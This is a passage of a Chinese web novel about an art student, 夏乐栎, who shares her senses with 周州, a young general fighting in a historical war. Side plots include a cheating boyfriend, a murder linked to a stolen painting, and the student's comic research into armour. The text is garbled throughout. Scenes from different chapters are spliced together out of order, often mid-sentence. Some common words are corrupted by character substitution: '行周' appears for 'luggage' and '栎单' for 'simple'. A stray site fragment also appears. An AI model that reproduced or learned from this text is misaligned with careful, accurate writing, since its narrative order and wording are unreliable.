杜彦之不知道赵敦益的腹诽,他这几日对周州的印象不错,看人就带了点看自家子侄晚辈的态度,甚至还多关心了一句,“将军这么睡,恐怕醒来要不舒坦,不如把人挪到榻上?” 赵敦益总算回神,却是摇头,“不用了,他不习惯人近身。” 别看人睡得这么死,他要是凑过去,周州分分钟动手。他可不去讨那个嫌。 杜彦之听后,倒也没强求。 毕竟若论亲疏,这位副将对周州的了解可比他多多了。 两人低声商量了下吴家的帖子,他们也是为这事来的。 对面接连两次递帖子,这会儿再拒那就是下面子了。强龙不压地头蛇,何况这次对面是主动示好。 杜彦之想了想,做主道:“先应下罢。若是将军无暇分身,我代将军去就是。” …… 周州这一觉虽说睡得浑身酸疼、但到底恢复了精神。 心情不错之下,听闻吴家的邀约也没发什么牢骚,还不等杜彦之解释什么,他就很干脆地一口应下。 杜彦之一愣。 他想想那日周州的态度,自行给人找了原因解释,想来是长途奔袭、太过疲累,以至于精神不佳,烦于应付…… 年轻人嘛,一时脾气也可以理解。 周州:“……” 那倒不至于,就是看得多了而已。 他还想说点什么,却察觉异样,他倏地抬头,眼神锐利地朝上方看去,隔着枯枝的掩映,和楼阁上的人对上了视线。 吴恪猝不及防愣了下。 少顷,却笑出了声,“走,我亲自去会会他。” 吴家家主错愕:“族叔?” 谁知道这些人讲不讲究啊?要是万一被拿来当人质威胁吴家,他们岂不是要糟? 吴恪摆摆手示意无事。 好久没碰见这么有意思的少年人了,不亲自去见见岂不可惜? 夏乐栎连忙摆摆手:“没什么。” 她往后翻了一页,照片终于对准了它的主人公,小小的周州穿着校服站在领奖台上,手里捧着一座金属奖杯。 周州瞥了眼照片旁的文字记录,[是个数学竞赛,加减法还是心算来着?……还是小时候厉害点,现在超过两位数的计算都要用计算器。] 夏乐栎忍不住笑,她揶揄,“好歹是两位数。” 周州也跟着莞尔。 相册右边半页也是领奖台,不过背景布置比之前那张大红色台子有品位多了,就连小周州手里的奖杯也是特别设计的水晶款式。 周州对这张照片似乎印象更深刻点,很快就解释,[是个钢琴比赛。] 夏乐栎不由抬头看他。 多才多艺啊! 周州像是知道她要说什么似的,立刻就苦笑摇头,[饶了我吧,这么多年不碰,我也就记得点基本指法了。] 夏乐栎感觉到,这次周州过来时心情不好。 还挺明显的,毕竟多数情况下,对方的情绪都是昂扬向上的。 虽然在心烦的时候还有另一个人在旁边搅乱思绪,实在烦躁程度加倍,但是这种心底仿佛堵塞什么一样的沉闷情绪也让人胸口发闷。 夏乐栎迟疑了一下,还是问:[怎么了?出什么事了?] 周州显然没有多谈的意思,只栎单地回了句,[没什么。] 夏乐栎没再追问。 她其实发现了,对方看起来似乎大大咧咧,但实际戒备警惕心其实很高。明明好像嘴巴一直不闲着在喋喋不休,但是夏乐栎现在回想,她对于这人的了解其实仅限于那天交换名字时对方主动透露的信息。 说实话,这种稍显冰凉的边界感反倒让夏乐栎松了口气。 她其实很不擅长应对太热情.人,总有种不知如何回应的紧绷。 既然对方不想说,夏乐栎也没再问下去,她继续拧着眉对着眼前的图画思索。 她还是不能接受! 铠甲考据是考据了,但夏乐栎还是没办法就这么让自己的男主角变成一个憨憨。 拜托!这可是恋爱漫画!! 这种男主形象就完全变成搞笑番了啊! 夏乐栎努力设计动作,试图让男主显得帅气一点。 周州不想在“梦中”还想那些糟心事,这会儿也顺着夏乐栎的视线看过去,试图转移注意力。 他观察了一阵子,总算明白夏乐栎在干什么了,不由出声,[做不到的。] 夏乐栎:[嗯?]不过大家把对策搞得这么明目张胆,新的政策也下来:手机定位、APP记录。 大家不是不爱跑操场吗?行啊,地点自由选择,记得打开GPS定位位置、上传打卡照片。 夏乐栎看完之后,整个人都不好了。 救命!学校要不要这么搞人心态啊!! 周州不能理解:[不就跑个步,至于吗?] 夏乐栎肯定:[很至于!] 她宁愿考试周再加三门硬课,也不想再测一遍体测。不行就是不行!微分数论逼急了可以做出来,但是十二分钟跑真的要命! 周州想了想,[我可以帮你。] [嗯?] 夏乐栎愣了下,但是回神之后,却是语气迟疑,[会不会太麻烦你了?] 周州倒是很不在意,[就是跑步吧?又不是什么大事,你不是也帮我了吗?] 像是想起什么,他又笑,[你说的、‘互帮互助’?] 尾音带着点轻哼的上挑语调,语气是不带恶意的调侃。 夏乐栎耳朵有点烫。自己的话被这么重复,让人莫名不好意思起来。 她原本捧着杯子的指尖不自觉绕上耳朵边的头发,又轻轻碰了碰发红的耳朵,小声,[谢谢啦。] 周州真没觉得这是什么大事,不过夏乐栎这态度么。 感受这对方那略微不自在的情绪,他只思索了一瞬,就趁机开口,[你要是觉得过意不去的话……] ——有便宜不占王八蛋!下雨了? 周州刚刚过来,就察觉异样。 水如珠帘般从上倾斜而下,一点点浸透身体,他顺势产生这样的疑惑。但也很快就意识到了不对,这水怎么是热的?而且周围也是雾气蒸腾的…… 周州心底隐约闪过模糊的想法,但还没待成形,那边夏乐栎已经察觉到了。 夏乐栎虽然意识到了,但是不敢确定。 她抱着侥幸心理,紧绷着声音试探了一声,[周州?] 已经明白过来这是什么情况的周州:[……] 这种状况下,好像回不回答都不太对的样子。 最后,他还是硬着头皮低应了一声,[是我。] 夏乐栎手一抖,本来要关的淋浴整个拨到了凉水档,她顶着一头的泡沫被浇了个透心凉。 托这个的福,夏乐栎一下子冷静下来,她抖着手关掉淋浴,不知道是急得还是冻得,手指哆嗦着扯过毛巾,一边胡乱擦着一边警告,[你不许看!] 周州:[……] 周州沉默了好一会儿,忍耐着开口,[是你别看……] 夏乐栎意识到什么,猛地闭上眼。 但是互通的五感中并不仅仅有视觉,周州没觉得情况好多少。 浴室里乒雳乓啷的声音也引起了章琪的注意,后者在外面扬着声问:“怎么了?摔倒了?” 说着,就听见门把手转动的声音。 “没!”夏乐栎拔高声调,“我没事!妈你别进来。我洗好了,马上就出去!!” 她这么说着,也顾不得擦没擦好,抓过一旁的浴巾把自己包住,开门就冲向自己的卧室。 章琪看着风一样卷走的女儿,在原地愣了好半天,看着一路留下的滴滴答答的水迹,终于回过神来,“头发没擦!” 夏乐栎:“我回屋擦!” 她这么回了一句,“啪”地把门关上。 虽然她妈进去了也发现不了什么,但夏乐栎莫名紧张。 总算安全到达卧室的夏乐栎大松口气,她背靠着门一点点滑落,非常冷静地开口发问:“你什么时候走?” 周州:[……] 都问出声了,看起来可一点也不冷静。 但是这问题,他还真没办法给个确切的答案。 [我三晚上没有阖眼了。] 什么时候醒,完全看什么时候有人叫他。不过就他睡前和赵敦益的对话,对方看起来没事不会来找他。 夏乐栎:“……” 周州:[穿着全甲,做不出这样的动作。你以为这身有多重?] 五六十斤的东西往身上一穿,他都嫌闷的晃。虽说一般性的行军跋涉不受影响,但要像这小姑娘画的那样、飞身腾跃间空中滞留……他敬对方是条汉子。 夏乐栎顿了一下。 下一秒,她坚定开口,[众所周知,牛顿管不到漫画世界。] 周州困惑地“啊?”了一声,[牛顿?那什么人?还是神仙?是你们这里的武神?] 夏乐栎痛苦地闭了闭眼。 为什么啊?!她就想画个恋爱小甜饼而已!! 她最终还是表情纠结地再次打开搜索引擎,键入关键词。 #有什么材料轻便的铠甲吗?# 大棉袄二棉裤不行!! 夏乐栎:欲言又止.jpg 哥,你是不是太熟练了? 隐约预感自己这一单要黄,夏乐栎还是硬着头皮开口,“这么说来,你男朋友最近是不是很忙?每次回来都很疲惫,精神不太好的样子。” “事业为重么,我可以理解。”温初青说着,又忧心忡忡,“但是也得注意身体啊。” 夏乐栎:“他是不是每次都有话和你说,但是话到嘴边又吞回去?” 温初青有点讶异,但还是点头。 “他是不是开始和你回忆刚开始恋爱时的细节?” 温初青像是意识到什么,点头的动作开始犹疑。 “他是不是……” “……” 一连好几个问题问下去,看着对面越来越沉的表情,夏乐栎也适时地停下了提问。 沉默了一会儿,夏乐栎到底出言安慰:“温小姐,看开点,这也算是……”及时止损了。 温初青:“秦升那个王八蛋!他居然敢变心!!!” 夏乐栎:??? 是不是哪里不对? 第 20 章 第 20 章 “温小姐,我不是这个意思。” 夏乐栎觉得两人之间的交流一定有地方出了问题,然而她还没来得及补救,对面就一摆手,咬牙切齿地,“我给他打电话问问,分手就分手!我也不是那种谈不起的人!!” 夏乐栎:“……” 虽然过程有点问题,但要是能分手倒是件好事。 手机响了两下被接通,听筒那边传来一个女声,“你好,是秦升的女朋友吗?我是……” “啪!” 夏乐栎看着桌上开裂的手机屏幕、又看着温大美女被掰折的美甲,暗戳戳地吸口凉气——好疼啊。 温初青面无表情地把折断的美甲片揪下来,阴恻恻地,“他居然敢劈腿!” 夏乐栎:“也不一定……”是小三啊。 话说了一半,就被抓着手腕一把薅起来,“走!去捉奸!!” 夏乐栎:“……” 咱就是说,这结论是不是太武断了点? 温初青:“相机带上,一会儿拍下来东西都是证据。放心,这单的钱我照付!要是真的拍到什么有料的,加倍!!” 夏乐栎一秒改口:“好的,老板。” 谁会跟钱过不去呢? * 周州醒了之后,就召人来询问了火器的事。 他那会儿没有问下去不代表不感兴趣,只是看那小姑娘画的铠甲就知道,在火器的事上,对方的了解恐怕相当有限。 与其为了些不知真假的内容逼问人以至闹僵,不如先让人放下戒备。 毕竟他对那个世界真的挺好奇的…… 周州这边,被临时叫来的匠造官不明所以。 听了上首的要求,他迟疑出声,“将军是想要一批火箭?需要多少?军中的油所剩不多,能做出来的数目有限。” 周州摇头,“不,不是火箭。” 他皱着眉回忆棉甲的样式,甲胄的一大部分都是布料,显然防御的并非明火,可那东西既然以“火器”命名,说明跟火脱不了关系。 他顿了一下,开口描述了棉甲的大致构造,又问:“和火有关的,什么武器能被它防住?” 匠造官被问得哑然,倒是旁边的亲卫若有所思开口,“将军是说霹雳球吗?” 周州一愣。周州那边的情况,夏乐栎还无从得知。 热闹的年节过去了,脑海中的那个声音没再出现,一切都重新步入正轨。有时候夏乐栎都恍惚觉得,那或许是自己臆想出来的幻觉。 倒是她的漫画还在稳步进展。 【栎牍老师你好,我是月下平台的编辑松鼠,很高兴接到您的投稿……】 “栎牍”是夏乐栎投稿用的笔名。 夏乐栎把邮件反复看了好几遍,确认是投稿通过的通知没有错,脑子嗡地一下。 心跳在胸腔中跃动、一下重过一下,血流被泵向四肢和大脑,夏乐栎后知后觉地发现自己的指.尖都有细微的颤抖。她使劲握了握手,但是那兴奋的情绪实在没有办法平复。 夏乐栎根本坐不住,撑着桌子推开转椅,在原地转了两圈,忍不住想要把这激动的情绪分享出去。 但是这点念头刚刚生出,大脑像是被泼了瓢凉水一样冷静下来。 这并不是考试成绩、或者拿到某某竞赛奖一样,能和爸爸妈妈分享的事情,那两人大概率不会为此高兴。 那上头的情绪稍微降了温,夏乐栎将目光投向旁边的聊天窗口。 在最上面的当然是刚刚互相抱怨吐槽过“假期余额不足”的室友群,夏乐栎点开之后却犹豫了一下。 ——真的要说吗? 在夏爸夏妈态度鲜明的反对下,夏乐栎对于画画这件事总有种“不务正业”的认知,那种下意识想要隐藏的羞耻感实在不是理智能够克服的,所以朋友们虽然知道她在画画,但是都并不清楚具体情况。突然说这种消息,是不是太奇怪了? 纠结犹豫间,那种兴奋的情绪已经散得差不多了。 夏乐栎鼠标在聊天列表上戳戳点点,终究还是没能把消息发出去。 妈妈那“净画些没用的”点评浮上心间,曾经的画纸被爸爸随手塞到垃圾桶的画面闪现,兴奋过后、夏乐栎情绪反而低落下去。 ……这好像也不是什么值得分享的事。 夏乐栎这么想着,心底却隐隐期待能有什么声音回应她,就算是那种很讨人嫌的忍笑声也没关系。 意识之中一片安静,并没有出现什么多余的声音。 夏乐栎拍了拍脸,冷静下来。 总之,先回复。 如果只是像学期中的那样随便画画当然没那么多的要求,但是投稿签约情况要稍微复杂一点。 夏乐栎加了编辑联系方式,等待回应期间,把对方邮件中要求的资料整理汇总了一遍,准备发过去。对面通过得很快,夏乐栎还在斟酌打招呼用词期间,对方已经飞快发来消息。 [栎牍老师好,我是月下的编辑松鼠。我在平台的征稿箱里看到了您的作品,真是让人耳目一新,恋爱向的漫画里形象这么质朴的男主角很少见,能问问您是怎么想的吗?] 夏乐栎:“……” 她盯着“形象质朴”那几个字,瞳孔地震。 ——怎么会?!她已经那么努力地把男主画得帅气了!! 那亲卫紧接着却自行否认了,“不、不是……那东西动静虽大,伤人却不行,用来惊马倒是差不多。” 那亲卫这么说着,周州一脸若有所思。 少顷,他开口,“眼下军中有这东西吗?拿一个给我看看。” 不待匠造官回答,外面有人匆匆进来。 来人赶得很急,甚至都没看见旁边站着的匠造官,对着上方拱了拱手,就飞快开口道:“朔州的军资送过来了,将军、您快去看看罢。” 说是“军资送到”,但来人这满脸纠结的表情可不像是得到补给的样子。 周州意识到什么,猝然起身,沉声:“朔州那边如今是谁在掌事?” 那人迟疑了一下,低声,“……是安都校。” 周州的表情冷下。 朔州都校,安恭义,本名乌施勒,朔方节度使安思范的义子。恰巧,周州在后者麾下效力,虽未改姓,但也称安思范一声“义父”。但在这种义父义子都是森严上下级关系情况下,周州和安恭义之间可没有什么兄友弟恭。 硬要说的话,两人之间还有不少过节。 周州匆匆赶到送来的军资处。 押送士卒还在卸货,看起来倒是粮草物资丰盈有余,任谁都挑不出什么错处。但是周州沉着表情查了半天,黑着脸问:“甲呢?” 押送官后退了半步,才吭哧着出声,“安都校说,节帅如今强攻息州,正是需要军资的时候,甲胄先紧着那边用。周将军少年英才、骁勇善战,想来不需要这些累赘的外物。” 周州没忍住,啐了一句脏话。 在周州杀气腾腾的逼视下,押送官神情越发恐惧,但不得不硬着头皮接着,“安都校说,请将军在岁末前克定怀义镇,取下禹州全境,与节帅成呼应之势,令锦平自请出降。” 周州刚想破口大骂,就听那人接着,“这也是节帅的意思。” 周州:“……” 他被迫把要出口的话咽下去。 ——义父真是越发老糊涂了!周州虽然对吴家的这场宴会兴致缺缺,但是既然答应的事,他也没打算反悔。到了日子,便带着杜彦之一同赴了宴。 按时辰算,这称得上场夜宴了。 周州到吴家的时候,天色已经有些暗下。为迎接贵客,吴家的院中早早地点起了灯,冬日里的树干光秃秃的,但是在幢幢灯影之下,隐约可见彩绸装饰。 杜彦之看到这情形,却是脚步一顿,眉头不自觉拧起。 他受安思范指示在锦平当暗桩,混进了孙成举麾下,因此也见过吴家对后者的态度。这些人对孙成举这个正牌定平节度使都态度平平,隐有轻视之意,更别提周州这个临时据城了。 眼下这阵仗,就是安思范亲至都不一定拿得到。 思绪念转,杜彦之心底已有想法。 要么是贵客另有其人,要么是下马威…… 杜彦之这么想着,不由眼带忧虑地看了周州一眼:年轻人气盛,可别闹出什么事啊。 可瞥见后者的神情,杜彦之却是一愣。 周州这次走得似乎比平常更早,但夏乐栎没注意到对方是什么时候离开的。 画画一投入进去就很容易忘记时间,等夏妈妈敲门来问晚饭,她才惊觉已经过去这么久了。 再想想对方这次过来居然没嚷着要吃什么,夏乐栎心底生出点些微的别扭来。 大概是少了那股莫名的情绪影响,晚饭吃得没滋没味的,章琪看着女儿拿筷子戳着碗底数米粒的动作,就知道她老毛病又犯了。 她顿了一下,缓声,“吃不下就别吃了。” 在夏乐栎吃饭问题上,家里一开始当然并不是这么和谐的。 爸妈看见孩子不吃饭必定会焦心,只不过表达方式各有不同,夏爸爸采取了父母非常常见的做法:大家长式的严厉命令。 情况却变得愈加糟糕,小时候的夏乐栎一度到了吃什么吐什么的地步。 事情过去太久,夏乐栎自己对那段记忆早就模糊了,但是据夏妈妈说,最后是带着她去看了心理医生,再之后,夏爸爸有一年的时间没上家里的饭桌,为了避免激起她的应激反应。 夏乐栎觉得她妈太夸张了。 她就是偶尔胃口差一点,饭量小一点,哪有什么心理阴影? 想着,她不由抬头看了眼夏爸爸。 夏宏至放松表情,努力做出一副若无其事的样子。 看,一点问题都没有! 夏乐栎这么想着,又低头看碗。 米饭淡淡的香气萦绕鼻间,那股单纯因为食物而欣悦满足的情绪涌上来,夏乐栎犹豫了一下,用筷子挑起了一口米饭塞到嘴里。上下牙齿研磨着柔软的米粒,咀嚼了过程中,米饭中的淀粉被唾液酶分解,香甜的味道被味蕾感知……感觉还不赖。 最后,夏乐栎以一个比一般成年女性偏少、但还算得上正常的饭量结束了当天的晚饭。 等回到房间,她带着莫名的、仿佛完成什么大事件的心情,把自己往椅子上一摔。 转椅的滑轮被她下落的冲力带出去一段距离,夏乐栎靠着椅背、仰头看了会儿天花板。 按理说,这个时间她该接着画画的。 但是夏乐栎瞥了眼那边未完工的线稿,犹豫了一会儿,还是打开了搜索引擎:藤盾牌的材料要求、藤牌的编织方式、使用藤牌的作战方式…… 但是等看到搜索结果后,夏乐栎不由愣住了一下。 这不是那个很有名的“杀敌一千,自损三人”的鸳鸯阵吗?! ……习惯真是个可怕的东西。 终于从刚回老家那脸都要笑僵了的对长辈问好中脱身出来,夏乐栎好不容易喘口气。但躲到旁边的小房间后,她却下意识打开搜索引擎。 夏乐栎对着搜索框顿了三秒,又默默关上。 这会儿又不用她查什么资料…… 好不容易有空了,还是琢磨了一下她的新漫画吧。 夏乐栎没带数位板,以夏爸夏妈对待画画的态度,她当然不敢顶风作案把这东西背回老家。但是一些栎单的线稿鼠标完全可以胜任,趁着爸妈还在外面和各种不认识的叔伯姑姨寒暄、没空搭理她的时候,完全可以偷偷干点。 只是画了几笔之后,夏乐栎终究是停.下了。 她对着笔记本屏幕纠结了半天,又重新打开网页。 再查一查吧。 万一以后有用呢? …… 时间一晃而过,转眼到了除夕的这一天。 过年的时候总是闲不下来,越是临近年节越是如此,夏乐栎一大早就被叫起来跟在爸妈身后忙忙碌碌,一直到快晚饭的时候才稍微闲下来点,坐在锅边盯着看煮饺子。 沸水咕噜噜地冒着泡,饺子在其中上下翻滚着。 洁白的面皮一点点变得晶莹,夏乐栎却略微有点走神:也不知道那边怎么样了,打仗啊…… “你这孩子……”旁边传来夏妈妈的声音,“也看着点,都沉底了。” 夏乐栎这才回神,低头一看,果然有饺子皮黏在锅底。 她连忙拿铲子去戳,却被夏妈妈轰到一边,“行了行了,我来。” 被拿走铲子的夏乐栎手足无措地站在旁边,一直到被另一边的夏奶奶抬手招呼着,“栎栎,过来吃糖。” 杜彦之的猜测没错,更准确的说法是两者都有。 吴家家主吴仁辅正跟在一个广袖宽袍的中年人身后,行为举止竟隐带逢迎之态。 明明两人年纪仿佛,吴家家主面相还稍长一些,吴仁辅却一口一个“族叔”,做足了晚辈姿态,而他前面那人也泰然受之,甚至隐隐显出冷淡之态。 吴仁辅并不介意前面人的态度。 他在这锦平城内可以称一句吴家家主,但也只是东淄吴氏的一个小小的分支罢了,眼前这位可是本家里也举足轻重的人物。 这么想着,吴仁辅的态度更热切了些,他前面的吴恪神色依旧淡淡的。 两人站在楼阁上,借着枯枝的掩映看着庭院的入口,隔了一会儿,吴恪突然开口,“这个周州,是什么来历?” 吴仁辅下意识回答,“是安思范义子,因屡建功勋、颇受看重。不过安思范竟以自己佯病为诱饵,令之夜袭锦平,看重程度确实不一般。” 吴仁辅这么答完,却见吴恪并无满意之色,便意识到对方关注的并非这些内容。 不过“来历”? 吴仁辅拧着眉思索了一会儿,也没想出什么所以然来,只能不确定道:“既是安思范义子,当是朔州那一带的人,也没听说过他有什么家世……朔方前些年混战频频,应当是战乱留下的孤儿?” 吴恪对这个回答不置可否。 他又低头看了一眼,灯火通明、锦绸为饰,这般富丽堂皇的景象,对方身处其中,却连点眼神都欠奉。 若这个定力十足的老狐狸还好说,但是以对方这年纪,本就易为外物所动,若非见惯豪奢,哪来如此气度? 说这是毫无背景家世? 呵。 温初青拖长了调子“咦~”了一声,这次的声音倒是没收着了,“原来不行啊。” “不没有不是——” 语无伦次地否定三连之后,夏乐栎终于找准了正确答案,“我不知道!” 然而这字正腔圆的四个字刚说完,她和进门的商时驹对上了视线。 夏乐栎:“……” 她觉得自己可以原地去世了。【你现在阅读的是 】 20-30 第 21 章 第 21 章 商时驹刚刚是出去询问情况的。 之前周州那次意外之后,局里出了新规定,但凡现场的异能量指数超过特定标准,就算是临时调查也得有至少一位行动组人员随行。 但这也带来点新问题,按照“在场职级最高的担任总指挥”的规定,商时驹成了这个临时调查组的小组长。 商时驹:“……” 让他安排作战、冲进去抓人还行,调查案子他真的不擅长。 新规定的实施总有磨合期,细节纠正还完善不知道多久。虽然商时驹明确表示自己不插手调查,但一个现场有两个领导的情况还是造成了相当程度的混乱。 只是不管怎么乱,居然把外人放进案发现场了,这里面问题可太大了。 然而,商时驹出去问了一圈,却得到讶异地回复:“不是商哥你特意叫夏小姐过来的?” 商时驹拧眉:“什么?” 外面调查员一看商时驹的表情就知道不对,连忙,“抱歉,我以为上次医院的事,夏小姐帮了不少忙,所以这次叫她过来——” 在看着商时驹脸色越来越黑后,调查员很有眼色的闭上了嘴。 商时驹:“……” 关千何干的好事! 这账回头还得找关千何算,商时驹最后也只是给了个口头警告,“下不为例!” * 夏乐栎没能睡着。 脑子里的那个声音实在太吵了。 从“为什么能在天上?是腾云术吗,还是仙家法器?我能不能学?”到“刚才那个盒子是什么?它为什么能发光?”再到“旁边的人为什么都在睡觉?是中了什么术法吗?” 夏乐栎:“……” 对,是仙家法器,如果想学,可以选择航空航天院校的飞机制造专业;屏幕发光大体可分为LCD或者LED两种方式,一个是电场调控液晶分子对背光的透过度,一个是二极管主动发光;是中了术法,术法的源头就是那个凌晨四点那个“叮铃铃”的闹铃声…… 这么一路默默地吐槽着,等夏乐栎回过神来,已经是降落前三十分钟的洗手间关闭通知了,空姐吐字清晰的温柔声音从广播中传出来,夏乐栎这才意识到时间过得这么快。 随着夏乐栎睁开眼睛,那声音也像是被打断了。 他停顿了一下,带着点些微抱怨语气出声:[你为什么不理我?] 夏乐栎:“……” 我怕被当成神经病。 虽然就目前来看,这很有可能是字面意义上的真实情况。 大概是从夏乐栎的沉默中领会到了什么,在接下来的下降过程中,对方的没再出声了。 说实话,夏乐栎居然有那么一丢丢不习惯。 冷静一点,不管是灵异问题还是病理问题,这都说明情况在好转。 飞机缓缓地接近机场,阳光照射的影子在旁边的山坡上投射出机身的形状,夏乐栎听到对方感慨,[原来是在大鸟的肚子里啊。] 夏乐栎:欲言又止.jpg 她三岁的小侄女都…… 算了,如果以年龄算,这还是个只诞生一天的小宝宝呢,夏乐栎宽容地谅解了对方的认知局限——当然,她也没有出声纠正的意思。 接下来,降落、滑行、打开舱门。 夏乐栎从行周架上拿了自己的背包,随着人流往外走。脑海中的声音彻底安静下去,一切都很正常,仿佛刚才航行过程中发生的一切都是云层上的一场怪异的梦境。 夏乐栎一边打开手机给接机的爸妈发消息,一边人还有点恍惚。 难不成真的是做梦? 经过一顿本来以为很沉重,事实上也确实很沉重,但莫名其妙吃撑了的午饭,夏乐栎踏上了求医问药之旅。 但是一路上并不顺利。 午饭吃得那么撑,身体上的不适可想而知。夏乐栎现在每走一步,都能感受到被撑开的胃部的存在感,仿佛动作稍微激烈一点,不堪重负的胃就能从食道里将食物呕吐出来。 夏乐栎本来还想打车的,但临时决定坐公交。 多走两步消消食吧,否则她怕太紧张吐到医院里。 身体上不适完全是小事,精神上的问题才是大问题,脑海里的那个声音不但没停,说话内容还越发可疑起来。 [我觉得咱们可以聊一聊。你是不是太紧张了?这没什么的,你别害怕,我又不是什么坏人……] [只是聊聊天么,你别不理我啊!] [你现在要去干什么?] [你刚才和你娘、妈妈没说真话吧?你不是去找同窗,你要去哪?] 夏乐栎:“……” 不听不听,王八念经。 她觉得自己分裂出来的这个人格沟通欲真的太旺盛了! 难道她内心里藏着很多话要说吗?! 周州有点郁闷。 虽然上次因为在天上的缘故,他觉得自己到了天宫,但是这次观察下来,他觉得情况似乎也不尽然。但是不管到底是什么所在,他对这个奇妙的地方都十分好奇。 只可惜,唯一能和他沟通的是个小姑娘。 胆子有点小,偏偏戒备心还很强……他又不是拍花子,难不成还能靠说两句话就把人拐走? 周州喋喋不休地试图打开话题,夏乐栎则是努力尝试放空大脑。 前者始终没能取得进展,后者也觉得情况糟透了。夏乐栎越是试图放空、精神就越紧张,连带着脑海里的声音都越发清晰。 这么神思恍惚之下,夏乐栎差点没注意到过来的公交车。 一直等到车门在她面前打开,她才被惊醒一样想要去确认公交车号。 家里的公交车没有侧边的滚动显示屏,只在车头车尾有标号显示,夏乐栎本来都打算去前面确认了,还多亏了旁边有个男生提醒了句“是7路”。 夏乐栎要坐的就是7路。 她匆匆道了句谢,连忙上车。提醒的男生和她是同一班车,对方跟在她身后上来了。 十八线的小县城里,公交并不像A市那样繁忙,车上还有很多空位,但是夏乐栎感受着依旧很满的胃容物,往后走了一段,就找了个拉环停.下了:她这会儿不太想坐下。 夏乐栎站定侧身,往旁边让了让,但是跟在她身后、本来应该顺势越过她往前的那个男生却停顿了一下。夏乐栎总觉得,自己似乎从对方脸上看出点“想说什么”的意图。 夏乐栎:“……” 实不相瞒,她这一瞬间想了很多。 对方刚才是和她一起等车吧?这人怎么知道她是7路?7路途经什么站点?除了图书馆就是市医院了。她是不是在等车的时候表现出什么异样,让人觉得她是亟待关照的病患?…… 万幸的是,在夏乐栎表情渐渐僵住之前,有人在后面招呼了一声,“张成宇!” 出声之人似乎是这男生的朋友,对方终于走开了。 夏乐栎悄悄松了口气,往背身向过道的方向转了个身,同时默默地往上拉了拉围巾挡住了半边脸。 她应该没有哪里显得奇怪吧? 脑子里的那个声音又冒出来了—— [怎么这么紧张?你对他有心慕之意?……你和我说说饷食前看的那块有字的板子是什么,我教你怎么和他搭话。] 被吵了这么一路,夏乐栎的心情早就从一开始的忧惧不安变成了渐渐暴躁,这会儿又听见对方这么离谱的发言,额角的青筋都蹦起来了。 闭嘴吧你! 我为什么紧张你难道不清楚吗?! 那声音不耻下问,[为什么?] 夏乐栎:“……”累了,毁灭吧。 又往前走了一段,洗手间的标志出现在视野中,夏乐栎没多想就要往那边走,但是快到了入口突然一顿。 她没记错的话,脑子里的声音是个男声。 声音明朗清亮,兼具了磁性和少年质感,要不是出现的方式太诡异,其实是个隐形声控的夏乐栎愿意只靠声音给对方打八分。 大概是夏乐栎在这里站了太久,旁边有人问,[怎么了?] 夏乐栎下意识地回:“没什么……” 刚刚开口就猛地顿住。 ……这个声线似乎有点熟悉啊? 她僵硬地回头,旁边拖着行周的人来去匆匆,哪个也不像有闲心和一个路人搭话的样子。 声音还在继续,[你想进去吧?为什么不进去?] 夏乐栎:“……” 我为什么不进去,你难道不知道吗?! 她先是谨慎地打量了一圈周遭,确定大家都在闷头赶路、没有哪个人在意这边有个“突然自言自语”的奇怪路人,这才悄悄地松了口气。 但这个卫生间肯定是去不成了。 夏乐栎快步往行周转盘走去。 或许是刚才那句无意识地应答让对方确认了夏乐栎确实是个可交流对象,先前已经安静下去的声音又开始喋喋不休,[上面是什么?它也在发光,是夜明珠吗?刚才的琉璃好大好平整,怎么打磨的?] 夏乐栎:“……” “夜明珠”是什么鬼?武侠小说看多了吧?琉璃?玻璃?虽然不了解具体工艺流程,但是窗户玻璃怎么看都是液体流平不可能是打磨吧?…… 问题内容过于难以形容,又是声音因为在自己脑子里响起来,夏乐栎不自觉地生出一种羞耻的感觉:难道我的内心里还藏着这么中二的一面吗?脚趾扣地。 她一路煎熬地走到电梯前,脚步微微顿了一下。 果不其然,下一秒脑子里传来声音,[哇!] 夏乐栎:“……” [这是什么?它自己在动?里面有人拉着?它为什么能一直不停地往前?消失的地方去哪了?] 夏乐栎:……这个世界上有一种驱动叫做电机,有一种物理结构叫做传送带。 她表情麻木地踏上了自动扶梯,恍恍惚惚地等到了自己托运行周。 等到她拖着行周箱走出行周提取处,看到接机台后面等着的爸妈的时候,终于忍不住了。她眼圈一红,语气哽咽地喊了一声“妈”,拖着行周箱一路小跑过去。 亲爱的妈妈,你的女儿可能罹患了某种精神疾病。 ——特别严重的那种! * 就在夏乐栎满脸问号地和周州对视的时候,门口传来一阵动静。 一队穿着统一浅蓝制服的人走了进来。 商时驹亲自过来接的人,“赵队,你来看看是不是这幅画?” 余项是跟着商时驹一块儿出来的,倒是没有进书房,而是就地留在了客厅。 看夏乐栎抬头往那边看,主动过来解释,“我刚才恢复受害人的邮件数据,发现他和一个陌生账号有多封邮件来往,内容是关于一幅贵重画作的交易。正好我前几天去了周家……”他说到这里,神情有点尴尬地支吾了下。 夏乐栎还不解困惑着,就听见周州解释:[我生父。] 他刚才勘探现场、顺便了解受害者背景的时候,就知道对方是周明远的学生,这会儿倒是没多么意外。 夏乐栎:这还能扯上关系? ……不过姓“周”? 两人那完全挂不上号的默契度居然神奇地管用了一回,周州主动解释,[我妈妈也姓“周”。] 夏乐栎恍然:所以是“周周”啊! 那边余项语焉不详地把周家的事模糊过去,又接着:“商哥联系了自然刑侦那边的人,让他们来看看是不是这个案子。” 正说着,门外进来了一位中年男人。 一身中式排扣的短衫,金丝眼镜和微霜的鬓发恰到好处的展现了儒雅的气质。不用余项介绍,夏乐栎瞬间反应过来,这是全家福第一页的父亲。 出乎意料的,居然是温初青先站起来打招呼,“周叔叔。” 夏乐栎:这还能扯上关系 x2! 第 22 章 第 22 章 温初青确实认识周明远。 事实上,她和秦升的相识就是在周明远的个人展览上。 周明远对小辈的恋情也略有耳闻,这会儿强打起精神来安慰温初青,“这孩子这么走了,我这个当老师的也不好受,但你还年轻,看开点。” 温初青满脸尴尬,“周叔叔,您还是先去书房那边看看吧。” ——我是看得很开,就怕一会儿您看不开。 周明远还准备再说什么,旁边的余项开口打断,“我们请周先生过来,是有些事想要跟您确认,您跟我来。” 周家藏画失窃的事被意外牵扯进来,这案子的前因后果很快就被捋清楚的。 秦升炒虚拟币亏得倾家荡产,被债主逼得走投无路,最后铤而走险,偷了老师的藏画卖给了一个不知名的买家。 至于那个买家是谁,这幅画现在在哪,这是另一个案子需要调查的事,和现在这个凶杀案就没什么关系了。要紧的是,秦升卖画得的钱不翼而飞。 这下子找到了凶手行凶的原因——谋财害命。 拿了钱杀了人之后,第一反应当然是远走高飞。 